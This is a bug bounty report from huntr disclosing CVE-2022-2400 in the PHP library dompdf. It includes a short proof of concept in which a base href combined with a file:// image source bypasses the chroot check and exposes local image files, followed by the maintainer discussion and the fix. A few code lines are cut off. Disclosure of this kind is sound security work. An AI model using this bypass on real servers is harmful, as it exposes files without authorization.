huntr

External Control of File Name or Path in dompdf/dompdf

0

✓ Valid Reported on Sep 28th 2021

Description

The Scenario 3 you described in this report (https://huntr.dev/bounties/0bdddc12-ff67-4815-ab9f-6011a974f48e/) actually opens up the ability to bypass chroot checks.

Proof of Concept

1: Make sure you install Dompdf from GitHub (https://github.com/dompdf/dompdf/) and include the following autoload.inc.php in dompdf/autoload.inc.php:

```
<?php
/**
 * @package dompdf
 * @link    http://dompdf.github.com/
 * @author  Benj Carson <benjcarson@digitaljunkies.ca>
 * @author  Fabien Ménager <fabien.menager@gmail.com>
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Publ
 */

// HMLT5 Parser
require_once __DIR__ . '/lib/html5lib/Parser.php';

// Sabberworm
spl_autoload_register(function($class)
{
    if (strpos($class, 'Sabberworm') !== false) {
        $file = str_replace('\\', DIRECTORY_SEPARATOR, $class);
        $file = realpath(__DIR__ . '/lib/php-css-parser/lib/' . (empty($fil
        if (file_exists($file)) {
            require_once $file;
            return true;
        }
    }
    return false;
});

// php-font-lib
require_once __DIR__ . '/lib/php-font-lib/src/FontLib/Autoloader.php';

//php-svg-lib
require_once __DIR__ . '/lib/php-svg-lib/src/autoload.php';


/*
 * New PHP 5.3.0 namespaced autoloader
 */
require_once __DIR__ . '/src/Autoloader.php';

Dompdf\Autoloader::register();
```

2: With a sample image file cat.jpg in /var/www/html/cat.jpg, (find any photo will do):
3: Create vuln2.php:

```
<?php
// Include autoloader
require_once 'dompdf/autoload.inc.php';

// Reference the Dompdf namespace
use Dompdf\Dompdf;
use Dompdf\Options;

$options = new Options();
$options->set('isRemoteEnabled', true);

$dompdf = new Dompdf($options);

// Load HTML content
$dompdf->loadHtml('<base href="http://example.com"><img src="fil

// (Optional) Setup the paper size and orientation
$dompdf->setPaper('A4', 'landscape');
```

```
$dompdf->setPaper('A4', 'landscape');

// Render the HTML as PDF

$dompdf->render();

// Output the generated PDF to Browser
$dompdf->stream();

?>
```

If you visit the above in the browser you should see cat.jpg image being included into the PDF file even though chroot option is not set.

Impact

This vulnerability is capable of bypassing chroot checks essentially leading to disclosure of png and jpeg files. This was tested with allow_url_fopen and on Linux. Additionally, this was tested on a fresh install of dompdf.

Analysis:

This bug occurs because in Line 68:

```
$remote = ($protocol && $protocol !== "file://") || ($parsed_url['protocol'
```

```
($protocol && $protocol !== "file://") => True ( http:// !== file:// )
```

Therefore, the file:///var/www/html/cat.jpg will be treated as a remote file without the need for chroot checks.

CVE
CVE-2022-2400
(Published)

Vulnerability Type
CWE-73: External Control of File Name or Path

Severity

Medium (5.3)

Affected Version

*

Visibility

Public

Status

Fixed

Found by

haxatron

@haxatron

pro

This report was seen 862 times.

We have contacted a member of the **dompdf** team and are waiting to hear back a year ago

haxatron a year ago Researcher

Just a slight update to this, allow_url_fopen is not required as curl_exec can use the file:// protocol.

A **dompdf/dompdf** maintainer validated this vulnerability a year ago

haxatron has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

A **dompdf/dompdf** maintainer 7 months ago Maintainer

This should be addressed in commit ee5f3fd7.

A **dompdf/dompdf** maintainer marked this as fixed in **2.0.0** with commit **99aeec** 5 months ago

The fix bounty has been dropped ✗

This vulnerability will not receive a CVE ✗

A **dompdf/dompdf** maintainer 4 months ago Maintainer

Will you be requesting a CVE for this vulnerability?

haxatron 4 months ago Researcher

@admin

Jamie Slome 4 months ago Admin

@maintainer - absolutely, would you like us to proceed with this?

A **dompdf/dompdf** maintainer 4 months ago Maintainer

Yes please do, thanks!

Jamie Slome 4 months ago Admin

Sorted 👍

`CVE-2022-2400`

Sign in to join this conversation

Chat with us